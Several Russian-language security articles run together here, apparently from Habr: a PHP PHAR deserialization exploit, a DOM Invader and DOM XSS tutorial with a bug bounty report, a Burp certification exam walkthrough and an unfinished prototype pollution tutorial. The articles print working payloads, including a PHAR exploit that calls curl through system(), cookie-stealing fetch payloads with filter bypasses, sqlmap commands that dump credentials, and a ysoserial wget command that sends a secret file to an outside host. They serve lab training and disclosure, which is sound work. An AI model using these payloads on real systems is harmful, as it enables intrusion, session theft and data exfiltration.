1. Сохраняются текущие значения свойств $ImageArr и $SortFunc;

2. Определяются две функции для сравнения: compareByName и compareByAge (первая функция сортирует массив по имени изображения, вторая — по возрасту или другому критерию, представленному во втором элементе массива);

3. Вызывается функция usort(), которая сортирует массив $ImageArr с использованием функции, указанной в $SortFunc;

4. Результат сортировки выводится в формате JSON с помощью функции json_encode().

Однако в этом коде существует уязвимость, связанная с тем, что значение свойства $SortFunc может быть изменено на произвольную строку. Например, если установить $SortFunc в значение "system", то при вызове usort() будет использована функция system(), что позволяет выполнять произвольные команды на сервере.

Когда объект ImageSorting уничтожается, например, в конце выполнения скрипта, вызывается метод __destruct(), который пытается отсортировать массив $ImageArr, используя функцию system(). Это создает возможность для удаленного выполнения кода на сервере.

Эксплойт:

<?phpini_set('phar.readonly', '0');class ImageSorting{}$pharFile = 'exploit.phar';$phar = new Phar($pharFile);$phar->startBuffering();$exploitObject = new ImageSorting();$exploitObject->ImageArr = ["curl http://10.127.246.140:8000", ""];$exploitObject->SortFunc = "system";$phar->addFromString('test.txt', 'test content');$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->setMetadata($exploitObject);$phar->stopBuffering();echo "PHAR архив создан: {$pharFile}\n";?>

В этом примере создается PHAR-архив, который содержит объект ImageSorting. Мы устанавливаем массив ImageArr с командой curl, а затем изменяем свойство SortFunc на "system". Это позволяет при уничтожении объекта выполнить команду curl на сервере, что демонстрирует уязвимость к удаленному выполнению кода.

Размещаем эксплойт на своем веб-сервере и используем SSRF для загрузки файла:

С помощью все той же SSRF вызываем десериализацию загруженного нами файла с помощью PHAR и получаем выполнение команды и curl-запрос на свой сервер:

В конце добавлю, что десериализация является мощным инструментом в программировании, позволяющим восстанавливать объекты из сериализованных данных. Однако, как показано в данной статье, она также может порождать серьезные уязвимости, если не применяется с осторожностью. Небезопасная десериализация может привести к инъекциям объектов и удаленному выполнению кода, что ставит под угрозу безопасность приложений. Чтобы минимизировать риски, разработчикам следует использовать безопасные методы сериализации, тщательно проверять и фильтровать входные данные, а также избегать десериализации данных, полученных из ненадежных источников.

Дополнительные ссылки:

Insecure deserialization - PortSwigger

Exploiting PHP Deserialization

HackTricks - PHP Tricks

Advanced PHP Deserialization - Phar Files

Привет, Хабр! Сегодня мы познакомимся с DOM XSS и Prototype Pollution, рассмотрим примеры уязвимостей на Bug Bounty и научимся использовать инструмент DOM Invader, который заметно упростит поиск таких уязвимостей.

Материал будет интересен специалистам, которые уже сталкивались с DOM XSS и Prototype Pollution. Если вы еще не знакомы с этими уязвимостями, стоит обратить внимание на лабораторные PortSwigger и теорию и только потом приступать к изучению DOM Invader. А если знакомы, то быстро вспомним основные понятия и объясним, а в чем же, собственно, состоит опасность.

XSS

Межсайтовый скриптинг, известный как XSS, часто встречается в мире веб-безопасности. Наряду с IDOR он занимает первые места в рейтинге Bug Bounty по количеству найденных уязвимостей. Атака позволяет внедрить JavaScript-код на страницу приложения, после чего пользователи, посещающие уязвимую страницу, могут потерять различные конфиденциальные данные — например, сеансовые куки или токены авторизации.

Document Object Model (DOM)

Document Object Model (DOM) — это иерархическое представление элементов на странице в веб-браузере. Сайты могут использовать JavaScript для управления узлами и объектами DOM. Манипуляции с DOM сами по себе не являются проблемой — так работают все современные сайты. А вот JavaScript, который небезопасно обрабатывает данные, может позволить провести различные атаки. Уязвимости DOM возникают, когда на сайте содержится JavaScript, который берет значение, контролируемое пользователем (Source), и передает его в опасную функцию (Sink).

Source

Свойство JavaScript, которое принимает данные, потенциально контролируемые пользователем. Пример источника — свойство location.search, поскольку оно считывает ввод из строки запроса, которой относительно просто управлять. В конечном итоге любое свойство, которым может управлять пользователь, является потенциальным Source. К этому относятся URL-адрес источника (document.referrer), Cookie пользователя (document.cookie) и WebMessages (подробнее про WebMessages написано здесь).

Sink

Потенциально опасная функция JavaScript или объект DOM, которые могут вызвать уязвимость, если в них передаются данные, контролируемые пользователем. Например, функция eval() является Sink'ом, поскольку она обрабатывает аргумент, который в него передается, как JavaScript. Примером HTML-Sink является document.body.innerHTML, так как это потенциально позволяет внедрить HTML и выполнить произвольный JavaScript.

Gadget

Небольшие фрагменты кода, которые могут быть использованы для эксплуатации уязвимостей. «Гаджеты» часто применяются в цепочках уязвимостей для достижения более значительного импакта. Еще их используют для обхода защитных мер, повышения привилегий или выполнения произвольного кода.

DOM Invader

DOM Invader — это браузерный инструмент, который поможет в поиске уязвимостей DOM XSS, Prototype Pollution и DOM Clobbering. Суть его функции — в изучении различных Sources и Sinks, включая векторы postMessage. Он доступен через встроенный браузер Burp Suite: это уже предустановленное расширение, его нужно просто включить в настройках.

Что умеет DOM Invader?

1. Проверять на DOM XSS. Расширенное представление DOM позволяет мгновенно определить управляемые Sinks на странице, показывая вам точку внедрения и XSS-контекст, и то, как обрабатывается переданный ввод.
2. Логировать, изменять и повторно отправлять WebMessage с помощью метода postMessage(). Это позволяет тестировать DOM XSS через WebMessage (подробнее).
3. Автоматически определять Sources Prototype Pollution на стороне клиента и сканировать управляемые Gadgets, которые передаются в опасные Sinks.
4. Автоматически выявлять уязвимости DOM clobbering (подробнее).

Прежде чем начать использовать инструмент, важно вспомнить сам контекст возникновения уязвимостей DOM XSS, так что нам пригодится немного практики.

Подготовка

1. Обновите Canary (ключевое слово, используемое для идентификации уязвимости), в нашем случае это XXS.

2. Откройте вкладку DOM Invader в инструментах разработчика (F12)

3. Откройте сайт, который будете проверять на уязвимости, и внедрите Canary в параметры

4. На вкладке DOM Invader проверьте, возвращается ли Canary в Sink

5. При необходимости проверьте Stack Trace. Он отображается в консоли при нажатии на соответствующую кнопку в DOM Invader

А теперь перейдем к практике и разберемся с работой расширения на примере некоторых лабораторных Академии PortSwigger.

Лабораторная 1. DOM XSS in document.write sink using source location.search

Здесь мы можем использовать функцию Inject forms, а затем нажать «Поиск» на странице сайта:

В расширении можно будет увидеть, что Sink найден. Теперь можно пробовать проэксплуатировать уязвимость:

Чтобы изучить эту точку внедрения подробнее, мы можем открыть Stack Trace, после чего получим уведомление о том, что трассировка доступна в консоли:

Теперь переходим в консоль и открываем кусок кода, в котором обнаружен Sink:

<script>
function trackSearch(query) {document.write('<img src="/resources/images/track
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>

Сначала мы создаем переменную query и добавляем в нее значение параметра search:

var query = (new URLSearchParams(window.location.search)).get('search');

Если query не null, мы вызываем функцию trackSearch и передаем в нее значение:

if(query) {
trackSearch(query);
}

Для записи строк на страницу используется функция document.write(). Сначала загружается страница, а затем на нее добавляется наше значение query:

document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">')

В данном случае Source, или точка внедрения, — это значение location.search, которое мы контролируем, а Sink'ом является document.write.

Теперь переходим в DOM Invader и пробуем использовать кнопку Exploit — быть может, полезная нагрузка, подобранная расширением, сработает?

Эксплойт не сработал, но можно заметить, что мы добавили на страницу "> и застряли в HTML-теге:

Пробуем воспользоваться полезной нагрузкой, которая отобразилась на странице, и добавляем значение, которое отобразилось вне тега с результатом поиска:

“><img src=x onerror=alert(1)>

Хоть DOM Invader и не подсказал нам точный способ эксплуатации, данный инструмент помогает в поиске Sources, которые впоследствии можно эксплуатировать вручную.

Это довольно простой пример, и такую XSS можно найти вручную. Но когда мы тестируем приложение с огромным количеством форм, ручной анализ займет много времени, а DOM Invader ускорит нашу работу. В таком формате тестирование становится эффективнее. Нам больше не нужно тратить часы на изучение функций, источников и тому подобного, чтобы найти XSS.

Лабораторная 2. DOM XSS in innerHTML sink using source location.search

Переходим в DOM Invader, жмем inject forms, после нажимаем поиск на странице:

Смотрим Stack Trace:

document.getElementById('searchMessage').innerHTML = query;

Эта строка вставляет наши входные данные в элемент HTML с идентификатором “searchMessage”. Здесь используется метод .innerHTML, что создает потенциальную уязвимость, так как он вставляет небезопасные данные напрямую в элемент.

Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение и JavaScript выполнился:

Лабораторная 3. DOM XSS in document.write sink using source location.search inside a select element

В данной лабораторной немного меняются точка внедрения и логика приложения, поэтому, чтобы найти точку внедрения, необходимо проверить функцию проверки остатков товара:

Посмотрев запрос, находим параметр storeId в функции проверки остатков товара:

Передаем параметр storeId в GET-запросе и запускаем DOM Invader, жмем Inject URL params:

Смотрим код, в котором возникает уязвимость.

В этом фрагменте кода сначала присваивается значение переменной store параметра storeId из URL страницы:

var store = (new URLSearchParams(window.location.search)).get('storeId');

Значение 'storeId' не проверяется и попадает на страницу без обратки.

document.write('<select name="storeId">"'></select><img src onerror=alert(1)>');

Данная строчка кода отвечает за создание элемента выпадающего списка, и небезопасная функция document.write() создает уязвимость.

if(store)
{
document.write('<option selected>'+store+'</option>');
}

Существует условие: если для store задано значение, оно добавляется в список и отмечается как выбранное. Здесь и возникает уязвимость DOM XSS, так как значение store не проходит должной обработки.

Жмем Exploit и видим, что XSS не сработала и наш ввод попал между тегов option:

Чтобы уязвимость сработала, возвращаемся к коду, смотрим на уязвимую функцию и немного изменяем эксплойт, чтобы закрыть тег select. Наша полезная нагрузка попадет в Sink примерно так:

document.write('<select name="storeId">'</select><img src onerror=alert(1)>');

Жмем Exploit в DOM Invader и видим, что в результате вывелось оповещение:

Лабораторная 4. DOM XSS via client-side prototype pollution

Теперь мы ищем Prototype Pollution, и нам необходимо включить режим для поиска этой уязвимости в расширении.

Переходим на главную страницу и открываем расширение. Оно сразу обнаружило уязвимость:

Жмем Scan Gadgets и видим найденный Sink:

Смотрим Stack Trace в консоли браузера и переходим к коду, где возникает уязвимость:

Уязвимая часть кода:

if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}

В этом участке кода перед использованием config.transport_url не проверяется его источник. В результате, добавив proto[transport_url]=data:,alert(1) в запрос, можно заставить каждый объект, прошедший через deparam, получать свойство transport_url со значением data:,alert(1). Это значение будет использоваться как источник для нового элемента script, что приведет к выполнению кода alert(1).

Нажимаем Exploit:

Лабораторная 5. Client-side prototype pollution via browser APIs

Переходим в DOM Invader, где можно увидеть, что найдено две точки внедрения:

В данном случае расширение не находит уязвимый участок кода, поэтому используем сканирование на гаджеты:

Теперь у нас есть источник и точка внедрения, переходим в DOM Invader, смотрим Stack Trace и уязвимый код:

Вы можете самостоятельно разобрать данный код, это будет хорошей практикой. Воспользуемся кнопкой Exploit и видим, что полезная нагрузка для исполнения JavaScript сработала:

Bug Bounty. DOM XSS in Habr.com

Можно подумать, что расширение поможет только при поиске простых XSS в лабораторных и не особо применимо на Bug Bounty или в новом проекте, но мой опыт показывает, что DOM Invader способен находить уязвимость где угодно.

Поскольку я публикую текст на Habr.com, я решил протестировать его на уязвимость и доказать вам тезис об универсальности DOM Invader.

Detect

Добавляем # на страницу и нашу канарейку после якоря, смотрим вкладку DOM Invader:

Жмем Exploit:

Impact

Начнем с того, что мы можем реализовать перенаправление пользователя с помощью простой полезной нагрузки.

#'><img src onerror=eval(atob("ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo="))>

Где «ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo=»: document.location=https://evil.com

Хм, а чем это опасно?

• Кража email

Перенаправление — это самый простой вектор атаки, и он может сыграть важную роль в эксплуатации данной уязвимости.

Для того чтобы увеличить импакт от уязвимости, я определил критичные пользовательские данные на Habr и заметил, что email авторизованного пользователя лежит в ответе от страницы. Оставалось только захватить данный элемент. Чтобы это сделать, я написал небольшой скрипт, который будет искать на странице элемент email с помощью регулярного выражения и отправлять его нам на сервер.

В результате мне удалось добиться кражи email авторизованного пользователя:

• Phishing XSS

В качестве эксперимента я реализовал фишинговый вектор атаки с отрисовкой формы логина в аккаунт, полезная нагрузка помещается в eval:

Внимательный читатель может сказать, что размер полезной нагрузки может быть достаточно большим, чтобы передавать его пользователю, на что я напомню про перенаправление, которое может помочь при эксплуатации уязвимости. Таким образом, пользователю нужно будет передать страницу с перенаправлением на уязвимый сайт, который после отправит его обратно на Habr, добавив якорь с полезной нагрузкой :)

О найденной уязвимости я сообщил команде Habr, они отреагировали в течение одного часа, после чего уязвимость была успешно устранена, а я получил свое Bounty. Отдельное спасибо за быструю реакцию и разрешение упомянуть уязвимость в статье!

Полезные статьи в заключение

Мы познакомились подробнее с природой уязвимостей DOM XSS и Prototype Pollution, узнали, как пользоваться DOM Invader и для чего он нужен. Надеюсь, статья была для вас полезной, и советую дополнительно почитать вот такие материалы:

• DOM-based XSS
• Prototype Pollution
• DOM Clobbering
• PostMessage
• WebMessage manipulation
• DOM XSS Web Message
• Controlling the web message source

В этой статье я поделюсь лайфхаками по подготовке к сертификации, покажу, как может помочь встроенный в Burp Suite сканер уязвимостей, и подробно разберу каждый из этапов самого экзамена.

Итак, поехали!

Начнем со списка советов, которые могут помочь при подготовке к сдаче экзамена.

1. Важно сосредоточить внимание на каждой новой функциональности на каждом этапе. Одинаковый интерфейс приложений в лабораторных и на экзамене позволяет быстро определить дополнительные возможности или отличия в функциях на различных этапах. Например, при получении доступа к учетной записи может появиться доступ к новому поиску по сайту.

2. Сканирование с помощью Burp Suite помогает при поиске точек вхождения в лабораторные. Также дополнительно можно ознакомиться с руководством по сканированию на сайте PortSwigger.

3. Многие вещи на экзамене и в лабораторных пересекаются, поэтому стоит обращать внимание на поиск документации и решений лабораторных PortSwigger. Также, конечно, могут встретиться и темы, которые не поднимались при изучении бесплатного материала.

4. Не стоит тратить много времени на тупиковый вектор и заострять внимание на одной функциональности, так как время на экзамене ограничено.

5. Необходимо обращать особое внимание на уязвимости, которые могут возникнуть на каждом этапе. Список уязвимостей, характерных для каждого этапа, будет показан далее.

6. В инструкциях к экзамену есть два словаря для подбора учетных данных пользователя — эти словари необходимо подготовить заранее. Так как данная уязвимость может встретиться в экзамене, это поможет сохранить время и нервы.

7. Решить достаточное количество MysteryLabs для формирования подхода к поиску вектора атаки.

8. Обязательно сдать рекомендуемые лабораторные и пробный экзамен.

Перейдем к формату экзамена

Сам экзамен длится 4 часа и состоит из двух уязвимых машин, которые содержат по три уязвимости и всегда имеют одни и те же цели:

1. Получение доступа к учетной записи пользователя с низким уровнем привилегий.

2. Повышение привилегий до уровня администратора.

3. Чтение файла /home/carlos/secret.

Уязвимости, которые могут встретиться на каждом этапе, выглядят примерно так:

Тестовый экзамен

Тестовый экзамен, так же как и реальный, состоит из двух уязвимых приложений, в которых существует шесть уязвимостей. Начнем с решения первой лабораторной машины.

Machine1

Этап 1. Получение доступа к учетной записи пользователя с низким уровнем привилегий

Для более быстрого поиска уязвимости можно воспользоваться встроенным в Burp Active Scan.

Расширение ActiveScan++ добавляет возможности активного и пассивного сканирования Burp Suite. Оно разработано для добавления минимальной нагрузки на сеть и выявления поведения приложения, которое может помочь при поиске уязвимостей:

1. Возможные атаки на заголовок хоста (уязвимости сброса пароля, загрязнение кэша, DNS-переходы).

2. Client-Side уязвимости.

3. Обработка ввода XML.

4. Подозрительное преобразование ввода (например, 7*7 => '49', \x41\x41 => 'AA').

Identificate. Active Scan

При входе в приложение мы видим обычный интерфейс лабораторных PortSwigger:

В приложении существует функциональность поиска по сайту, выполняем запрос и отправляем его на сканирование:

Сканер достаточно быстро обнаруживает уязвимость, и в данном случае мы сталкиваемся с DOM-XSS:

XSS-уязвимости на основе DOM обычно возникают, когда JavaScript получает данные из контролируемого злоумышленником источника, например, URL, и передает их в источник, поддерживающий динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript-код, который, как правило, позволяет им захватывать учетные записи других пользователей.

Таким образом, зная уязвимое место приложения и обнаруженную уязвимость, для начала подбираем полезную нагрузку для вывода данных на страницу в браузере:

"-prompt(1)-" или "-alert(1)-"

Дальше нам необходимо попробовать получить свой сессионный идентификатор, и при попытке это сделать с помощью обычного alert(document.cookie) наше действие попадает под фильтрацию и возвращает ответ «Potentially dangerous search term»:

Для того чтобы обойти ограничение, нам понадобится вспомнить, что такое глобальные переменные JavaScript.

Глобальная переменная — это переменная, определенная в контексте глобальной области видимости. Это означает, что к ней можно обращаться из любой другой области видимости, то есть глобальная переменная доступна в любой части кода. В JavaScript она представляет собой свойство глобального объекта.

WAF предотвращает опасные фильтры и теги. Обойти фильтр WAF можно с помощью глобальных переменных JavaScript:

"-alert(window["document"]["cookie"])-" "-window["alert"](window["document"]["cookie"])-" "-self["alert"](self["document"]["cookie"])-"

Необходимо подобрать полезную нагрузку для того, чтобы украсть сессионный идентификатор обычного пользователя. Так как валидация входных данных не позволяет использовать document.cookie, ее можно обойти, используя полезную нагрузку:

"-alert(window["document"]["cookie"])-"

Для последующей эксплуатации потребуется подобрать конструкцию, которая отправит данные о сессии нам на collaborator:

fetch(`https://COLLAB/?xss=` + window["document"]["cookie"])

После этого необходимо закодировать нашу полезную нагрузку с использованием Base64 encoded, что позволит нам украсть сессионный идентификатор пользователя:

Воспользуемся конструкцией eval(atob()) для обхода фильтрации и получения сессионного идентификатора, а также полезной нагрузкой, чтобы получить собственный сессионный идентификатор.

Но для начала разберемся, как это работает: - Метод eval() выполняет команду из аргумента. - Методы btoa() и atob() используются для кодирования и декодирования строк в формате base64.Если метод eval() заблокирован, то можно использовать альтернативы:

- setTimeout("code") 
- setInterval("code) 
- Function("code")()

"-eval(atob("ZmV0Y2goYGh0dHBzOi8vY29sbGFib3JhdG9yLz94c3M9YCArIHdpbmRvd1siZG9jdW1lbnQiXVsiY29va2llIl0p"))-"

Данная полезная нагрузка работает корректно, и мы можем получить ответ на свой сервер. Для последующей эксплуатации копируем ссылку, содержащую нашу полезную нагрузку, и отправляем пользователю:

В итоге мы получили сессионный идентификатор, который можно использовать для последующей эксплуатации приложения:

Воспользуемся CookieManager, расширением для Firefox, и изменим свой сессионный идентификатор на полученный:

Благодаря данной уязвимости мы получили доступ к пользователю carlos. Можно идти дальше.

Этап 2. Повышение привилегий до уровня администратора

Воспользуемся советом из начала статьи и обратим внимание на новую функциональность, доступную от имени обычного пользователя. В данном случае появилась возможность воспользоваться Advanced search:

Снова используем ActiveScan, и он находит уязвимость в параметрах данного поиска:

SQL-Injection — это процесс внедрения вредоносных запросов на языке SQL во входные данные, используемые веб-приложением для взаимодействия с базой данных. В результате можно получить доступ к конфиденциальным данным.

При добавлении «кавычки» в данный параметр на сайте отображается ошибка, на основании которой мы можем сделать вывод о наличии SQL-запроса и потенциальном возникновении SQL-инъекции в данном месте приложения:

Полезная нагрузка, позволяющая эксплуатировать данную уязвимость, выглядит так:

(case when (ASCII(substring(version(),1,1))=103) then author else title end);

Данная полезная нагрузка сравнивает значение первого элемента слова в базе данных с таблицей ASCII. Приложение выполняет сортировку постов в другом порядке при корректной обработке запроса.

Прочитать значение version() можно с помощью Burp Intruder. Указываем в нём две точки для перебора и выбираем атаку Cluster bomb:

Так как sqli возникает при сортировке постов на странице, воспользуемся Grep Extract, расположенным в настройках Intruder. Указываем место на странице, которое меняется при выполнении запроса:

После окончания атаки в ответах от сервера можно заметить разницу в положении постов. Таким образом, можно собрать значение version() и перевести его из ASCII в читабельный вид, чтобы узнать версию используемой базы данных:

Для постэксплуатации буду использовать инструмент sqlmap.

Sqlmap — это инструмент с открытым исходным кодом, предназначенный для автоматизации тестирования на проникновение. Он специализируется на обнаружении и использовании уязвимостей SQL-инъекции, а также взломе серверов баз данных. Sqlmap включает в себя мощный механизм обнаружения уязвимостей и располагает разнообразными функциями для тестирования на проникновение. Этот инструмент позволяет решать задачи, от сбора информации о базах данных до выполнения команд в операционной системе через внеполосные подключения.

Команда для идентификации уязвимости:

sqlmap 'https://0a3300f10317f23b8064f3cd00e40013.web-security-
academy.net/advanced_search?SearchTerm=1&organize_by=1&blogArtist=' --
headers='Cookie:session=ZPXkkGX9QbDGcJoYlNpfqcobNfnkUCUL' -p 'organize_by' -dbms 
postgresql --technique E --level 5

Для получения пароля администратора добавляем к основной команде несколько флагов для sqlmap:

sqlmap 'https://0a3300f10317f23b8064f3cd00e40013.web-security-
academy.net/advanced_search?SearchTerm=1&organize_by=1&blogArtist=' --
headers='Cookie:session=ZPXkkGX9QbDGcJoYlNpfqcobNfnkUCUL' -p 'organize_by' -batch 
-D public -T users –-dump

В итоге мы получаем учетные данные администратора и можем переходить к поиску третьей уязвимости данного приложения.

Этап 3. Чтение файла /home/carlos/secret

На данном этапе я воспользовался еще одним советом — не зацикливаться и обращать внимание на всё новое, что появляется в приложении. В данном случае единственное, что обновилось в приложении, — это сериализованный объект в файлах cookie на теперь доступной странице Admin Panel.

ActiveScan в это время подтверждает наличие уязвимости:

Сериализация представляет собой процесс преобразования структуры данных в последовательность байтов. Противоположной операцией к сериализации является десериализация, которая заключается в восстановлении структуры данных из этой последовательности байтов.

Для эксплуатации данной уязвимости советую использовать Java Deserialization Scanner:

Java Deserialization Scanner — это расширение Burp Suite, которое дает возможность обнаруживать уязвимости Java-десериализации. Оно добавляет проверки как в активный, так и в пассивный сканер, а также может быть использовано в ручном режиме.

Это расширение позволяет обнаружить и использовать уязвимости Java-десериализации с различными кодировками (Raw, Base64, Ascii Hex, GZIP, Base64 GZIP).

Нюанс по работе Java Deserialization Scanner: для корректной работы данного расширения вам необходимо установить jdk8.

Также вам понадобится установить Ysoserial — инструмент, который позволяет генерировать полезные нагрузки, эксплуатирующие небезопасную десериализацию объектов Java.

Используем следующую полезную нагрузку в Java Deserialization Scanner для эксплуатации команды ysoserial в Java:

CommonsCollections6 'wget http://Collaborator.net --post-file=/home/carlos/secret'

Это позволит получить удаленное выполнение кода (RCE) при десериализации нагрузки на целевой системе.

Используем вкладку Exploiting, на которой указываем место нашего сериализованного объекта, команду для чтения файла и выставляем нужные кодировки:

Получаем флаг на collaborator:

Machine2

Этап 1. Получение доступа к учетной записи пользователя с низким уровнем привилегий

Во второй лабораторной также первым делом проверяем функциональность поиска с помощью встроенного сканера.

Identificate. Active Scan.

Отправляем в ActiveScan запрос для использования поиска по странице, и он находит XSS:

Для того чтобы обойти ограничения, воспользуемся полезной нагрузкой:

\\"-alert`1`}//

Для кражи сессионного идентификатора необходимо решить проблему с подбором полезной нагрузки, так как в данном случае блокируется вхождение символов ().

Полезная нагрузка, которая помогает распечатать cookie:

\\"-prompt`${document.cookie}`}//

Но с ней мне не удалось подобрать возможность захвата сессии. Изучив возможные обходы фильтрации, я подобрал полезную нагрузку, позволяющую обойти фильтрацию скобок:

\\"-setTimeout`alert\x28document.cookie\x29`}//

Захват сеанса можно осуществить с помощью полезной нагрузки на первой уязвимой машине, однако необходимо исправить вхождения скобок:

\\"-setTimeout`fetch\x28'https://collaborator/jsonc='+document.cookie\x29`}//

В итоге у нас получается обойти фильтрацию. Добавляем полезную нагрузку в ссылке на exploit-server и получаем сессионный идентификатор пользователя в приложении:

Меняем свой сессионный идентификатор на полученный с помощью CookieManager, как в первой лабораторной, и переходим к следующему этапу.

Этап 2. Повышение привилегий до уровня администратора

Здесь нас снова встречает функциональность расширенного поиска:

Воспользуемся сканером для поиска уязвимости и узнаем, что здесь снова SQL Injection:

На этот раз необходимо обойти еще и WAF. Попробуем сразу перейти к эксплуатации с помощью sqlmap:

sqlmap 'https://0ad6004b0366230683962d2b00c10004.web-security-
academy.net/filtered_search?find=qweqwe&organize=5&order=&BlogArtist=' --
headers='Cookie:session=Il6QXQ1lvrgDF6w6Pl2wg6FuteDaRmXP' --dbms postgresql -p 
'order' --level 5  --flush-session --random-agent --technique E

Постэксплуатация данной уязвимости с помощью sqlmap не вызывает трудностей, поэтому получить учетные данные можно так же, как и в первой машине:

Этап 3. Чтение файла /home/carlos/secret

Здесь встречается такая же уязвимость, связанная с Java Deserialization. Этапы эксплуатации уже были продемонстрированы, но здесь я попробую подробнее рассказать про Java Deserialization Scanner.

Данный плагин включает в себя три отдельных компонента:
1. Интеграция с активным и пассивным сканером Burp Suite.
2. Ручной тестер для обнаружения уязвимостей десериализации Java в пользовательских точках вставки.
3. Инструмент Ysoserial, который использует уязвимости десериализации Java [frohoff ysoserial].

Такую уязвимость также можно выявить с помощью функционала ActiveScan.

В сканере предусмотрены полезные нагрузки двух типов:
1. Полезные нагрузки, которые выполняют синхронную функцию sleep, чтобы проверить уязвимость на основе времени ответа от сервера.
2. Полезные нагрузки, которые разрешают DNS, чтобы проверить уязвимость с помощью Burp Suite Collaborator, интегрированного в Burp Suite.

Эксплойт генерируется с помощью инструмента ysoserial, который создает необходимые полезные нагрузки. Каждый CommonsCollection имеет свою вариацию эксплойта.

Для поиска точки входа и определения уязвимости Java я также использовал ActiveScan:

Нам нужно идентифицировать и определить, как конкретно работает уязвимость и какая полезная нагрузка нужна — это можно сделать с помощью встроенного в расширение сканера. В нашем случае уязвимость связана с DNS (JRE only):

Эксплуатируем уязвимость таким же образом, как и ранее, и получаем финальный флаг:

На этом экзамен окончен.

Финал

Примерно так сдается экзамен. Буду рад, если мой опыт поможет вам успешно пройти сертификацию :)

Сегодня я расскажу про такую уязвимость, как загрязнение прототипа. Мы ознакомимся с практическим примером применения этой уязвимости в лабораторной, а также рассмотрим некоторые утилиты для её поиска.

Перед тем, как мы приступим к поиску уязвимостей загрязнения прототипа, очень важно разобраться, как работает данная уязвимость и причём тут объекты JavaScript.

В идеале вам необходимо понимать азы языка JavaScript, так как без знаний языка довольно трудно понять, почему данная уязвимость работает именно так.

Но даже если у вас недостаточно знаний самого языка, я постараюсь дать наиболее понятное представление о Prototype Pollution.

Теория

Для начала зайдём в консоль нашего браузера, в которой можно исполнить любой JS, и познакомимся с тем, что такое объект.

Каждый объект в JS имеет по умолчанию прототип, который наследуется от другого прототипа, общего для всех объектов в JS.

Объект в JS представляет собой комбинацию ключа и значения. Это очень похоже на словари в Python или какой-нибудь JSON.

Инициализируем переменную user:

var user = {username:"wr3dmast3r", password:"qwerty"}

Поскольку мы просто сохранили значения этой переменной в ключ-значениях, мы можем обратиться к ним с помощью конструкции <object>.<property>, например:

user.username

Таким образом мы получаем доступ к конкретному свойству объекта.

Создадим еще одну переменную и добавим к ней свойство isAdmin:

var admin = {username:"admin",password:"admin",isAdmin:true}

Как можно заметить, теперь можно обратиться к полю isAdmin и убедиться, что пользователь является администратором:

Создадим ещё одного пользователя:

var user = {username:"cherepawwka",password:"qweqwe"}

Теперь у нас есть два объекта, в одном из которых есть дополнительный параметр для администратора, который имеет значение true.

Предположим, что есть приложение, которое на самом деле проверяет какой пользователь имеет права администратора проверяя конкретное значение isAdmin.

В случае обращения к параметру isAdmin у обычного пользователя мы получаем неопределенное значение:

Теперь можно перейти к загрязнению прототипа, и начнем мы с того, что осознаем, что данная уязвимость возникает только тогда, когда злоумышленник может изменить или модифицировать значение своего прототипа.

Попробую показать на примере.

Обратимся к объекту user:

Мы видим, что в данном объекте существует только два параметра, и пользователь не является администратором

У администратора в данном случае существует дополнительный параметр:

proto

Загрязним прототип объекта user с помощью __proto__:

user.__proto__.isAdmin = true

Как мы видим, в ответе фигурирует true, но если мы снова посмотрим на объект user, то заметим, что ничего не изменилось:

Но если мы обратимся к свойству isAdmin данного объекта напрямую, то увидим наше переданное ранее значение:

И если раньше мы получали при таком запросе неопределенное значение, то теперь мы видим, что параметр имеет значение true. Это происходит потому, что мы добавили значение true свойства isAdmin в прототип, а когда вы добавляете свойство в прототип объекта JS, для другого объекта такого же класса, у которого это свойство не определено пользователем, JS будет пытаться найти его в свойстве __proto__.

Если мы подробнее посмотрим на объект user, то увидим, откуда берется параметр isAdmin для этого пользователя:

На скриншоте вы можете увидеть, что у нас есть дополнительное свойство, которое мы добавили внутрь прототипа.

Сначала проверяется набор свойств, которые были заданы у объекта при инициализации. Если искомого свойства там нет, то JS будет заглядывать внутрь свойство прототипа.

В случае, если на сервере будет примерно такая логика, и будет существовать параметр, который мы сможем контролировать, то у нас появится возможность загрязнить прототип и авторизоваться как администратор.

Именно поэтому данная уязвимость называется "загрязнение прототипа", потому что мы модифицируем или искажаем значение предопределенных прототипов.

Практика

Перейдем к практике и рассмотрим уязвимое приложение. На главной странице в лабораторной существуют несколько разделов — контакты, главная страница и продукты.

Можно заметить, что каждая из страниц открывается под уникальным идентификаторов в параметре page:

Первое, на что стоит обратить внимание при поиске уязвимости, — это JS-скрипты, упомянутые в коде страницы.

Если мы проверим xss 0.3.3, то обнаружим, что существует известная уязвимость, которая приводит к DoS, что нам не подходит:

Для jquery 3.5.1 есть потенциальный эксплойт в репозитории @blackfan. В нем можно найти много полезной информации о Prototype Pollution. Если вдруг вы когда-нибудь столкнетесь с этой уязвимостью, данный репозиторий— первое, что необходимо посмотреть:

Если посмотреть на уязвимости jQuery.query версии 2.2.3, то можно найти упоминание уязвимости, связанной с Prototype Pollution:

Имеющиеся компоненты не предоставляют возможности для эксплуатации уязвимости, поэтому стоит осмотреться ещё раз и обратить внимание на упущенные моменты.

При подробном изучении главной страницы, можно найти кастомный скрипт, который используется для отрисовки элементов:

Скрипт начинается с создания страниц объекта, а в переменной pages находятся 4 страницы с какой-то HTML-разметкой. Дальше в коде можно увидеть создание переменной pl, которая берет из GET-запроса значение page. Затем идет проверка существования этой страницы, и, если она существуют, то выдается соответствующее HTML-содержимое, иначе нас перенаправляет на первую страницу из списка ("?page=1").

Если вы раньше изучали DOM XSS, то одна из вещей, на которую стоит обратить внимание, — это использование innerHTML, которое потенциально может привести к уязвимости.

Посмотрим на код внимательнее.

1. Если мы вводим цифру 4, то нам выдается статический HTML-код, который представляет собой верхнюю панель на странице.

2. Вторым параметром является pages[pl], где pl — это GET-параметр, то есть тот ввод, который мы контролируем.

Но даже если бы мы смогли что-то ввести в данный JS, добавленный фильтр помешал бы эксплуатации XSS.

Вернемся к коду на странице:

Мы можем попробовать добавить новую страницу или изменить уже существующую, чтобы разместить свою полезную нагрузку.

Exploit

Попробуем загрязнить прототип с помощью полезной нагрузки и вызовем страницу:

